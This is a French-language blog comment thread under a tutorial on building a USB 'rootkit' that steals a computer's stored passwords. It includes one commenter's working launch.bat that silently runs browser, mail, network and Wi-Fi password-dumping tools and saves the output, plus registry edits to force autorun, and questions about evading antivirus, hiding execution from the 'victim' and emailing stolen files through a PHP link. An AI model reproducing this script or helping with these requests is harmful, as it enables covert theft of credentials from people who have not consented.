Commentaires sur : #69 Création d’un rootkit pour pirater les mots de passe d’un ordinateur.

Par : antoine

antoine — Thu, 19 Jan 2012 18:52:56 +0000

bonjour aider moi svp je sui bloker a niveau de la modification de la clé

est ce parce que je posède un pc windows 7

Par : Christ

Christ — Sat, 24 Dec 2011 10:42:54 +0000

un moyen de démarrer une session avec un script contenant votre identification et mot de passe

Par : philoupsss

philoupsss — Sat, 05 Nov 2011 03:04:47 +0000

Merci mais pour les fichier « autorun.inf » et « launch.bat » c’esoilàt impossible en créant un doc texte, j’ai du les faire avec NotePad pour le .bat et pr le .inf je suis allé en chercher un dans un jeux installé sur mon pc.

Voilà, l’éxécution automatique ne se fait pas (pourtant elle est active)

Et en cliquant sur « launch.bat » ça se lance mais on voit la fenêtre DOS, l’antivirus demande l’autorisation pr 2 programme et il faut l’autorisation admin pour tous alors que je suis admin…(pas discret ds ce cas)….

Par : hager55

hager55 — Tue, 25 Oct 2011 13:44:00 +0000

Hi,
merci pour tuto mais il faut ajouter d’autres navigateurs tels firefox et opera.
Take care

Par : lola

lola — Fri, 09 Sep 2011 16:19:29 +0000

Je ne sais pas si votre réponse est pour moi mais non, c’est un ordinateur personnel

Par : Le Webmaster

Le Webmaster — Sun, 04 Sep 2011 17:52:33 +0000

bonsoir,

Est-ce un ordinateur perso ou celui de travail, car cela ressemble à une restriction imposée dans les entreprises, afin de limiter l’action des utilisateurs ?

Cordialement

Par : lola

lola — Sun, 04 Sep 2011 17:46:35 +0000

bonjour, je n’arrive pas à décompresser chromepass, je ne sais pas comment faire ? il reste sous cette forme « ChromePass_lng.ini », quelqu’un pourrait me renseigner ? merci !

Par : simon

simon — Sun, 04 Sep 2011 03:49:04 +0000

lorsque je tape regedit.exe je vois une petite bare dans la quelle est écrit: la modification du registre a été désactivée par votre administrateur. j’ouvre mon poste de travail et ma clé usb, je lance launch et rien ne marche.
que dois-je faire? merci d’avance

Par : Lola

Lola — Mon, 29 Aug 2011 22:02:35 +0000

Bonjour, finalement ça marche…mais apparemment ça ne retrouve que les MDP qui ont été enregistrés ??
merci pour votre réponse

Par : AbuM@lek

AbuM@lek — Sun, 28 Aug 2011 22:58:51 +0000

Bjr,

Y’aurait pas une méthode pour contourner les antivirus, parce-que presque tous les utilitaires sont détectés comme Virus/Trojan, donc toute l’opération d’automatiser le lancement n’est plus valable.

2 chose, j’ai un Win 7 j’ai modifié la valeur, j’obtiens la fenêtre de l’exécution automatique, mais rien ne se passe, et même l’icone de l’application n’est pas là !!!!

Pourriez vs m’aider

Merci.

Par : Lola

Lola — Sat, 20 Aug 2011 00:18:05 +0000

Bonjour, je n’ai que ça sur mon ordi…

ForceActiveDesktopOn
valeur 0
NoActiveDesktop
valeur 1
NoActiveDesktopChanges
valeur 1

je mets 91 à quelle valeur ?
j’ai un toshiba satellite.

j’ai quand même essayé en mettant 91 à ForceActiveDesktopOn, mais vu les résultats…j’ai bien reçu les fichies TXT mais aucun n’avait de MDP…
merci beaucoup.

Par : IB

IB — Wed, 15 Jun 2011 11:49:06 +0000

Bonjour

newdaxter et Owiklol

Vous avez raison, et c’est normal pour d’autre PC, il n’est pas au même emplacement :

au lieu de

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]

Faites

[HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]

Par : yannz

yannz — Thu, 26 May 2011 08:10:42 +0000

Bonjour,

j ai un petit soucis, le programme marche impeccable, sauf pour IE.

Rien ne m apparait , le bloc txt reste vierge, et pourtant j y ai laissé pas mal de mot de passe avant de migrer vers mozilla.

Y aurait il une manipulation supplémentaire a faire ?
Que faire pour ne trouver que les mp de IE, je suis sur XP, IE8..

Merci d avance pour votre aide

Par : darkVoid

darkVoid — Tue, 03 May 2011 14:39:23 +0000

salut,je voudrais savoir si les demandes suivant sont possible ou non:

-peut ont exécuter le fichier launch.bat sans autorisation(je ne veux pas que moi ou le victime click sur « Scan Password » ??

-comment modifier le fichier Autorun.inf de manière qu’il peut exécuter le fichier launch.bat qui se trouve dans un dossier cacher(pas dans la racine du clé par exemple I:\scanpass\) sachant que la lettre ‘I’ sera changer d’un ordinateur à un autre .??

-peut ont rendre les fichiers utiliser dans ce tuto in-supprimable même avec un formatage

-la plus important:
peut ont heberger tous les rootkit+launch.bat et créer un code php qui permet de l’executer dés que le victime click sur le lien et que les fichier .txt seront héberger ou envoyer par mail

MERCI D’avance

Par : touriste

touriste — Thu, 14 Apr 2011 17:48:16 +0000

mon fichier launch.bat

for /f « tokens=6-8 delims=:/ » %%a in (‘ »echo. ^|date|find /i « est »"‘) do set a1=%%c&set m1=%%b&set j1=%%a
for /f « tokens=4-7 delims=:, » %%a in (‘ »echo. ^|time|find /i « est »"‘) do set h1=%%a&set mn1=%%b& set s1=%%c& set c1=%%d
MD %a1%%j1%%m1%%h1%%mn1%%s1%
start ChromePass.exe /stext ChromePass.txt
start iepv.exe /stext iepv.txt
start mailpv.exe /stext mailpv.txt
start mspass.exe /stext mspass.txt
start netpass.exe /stext netpass.txt
start WirelessKeyView.exe /stext WirelessKeyView.txt
start PasswordFox.exe /stext PasswordFox.txt
start pspv.exe /stext pspv.txt
copy *.txt \%a1%%j1%%m1%%h1%%mn1%%s1%\*.txt
erase *.txt

impec pour sos des fichiers txt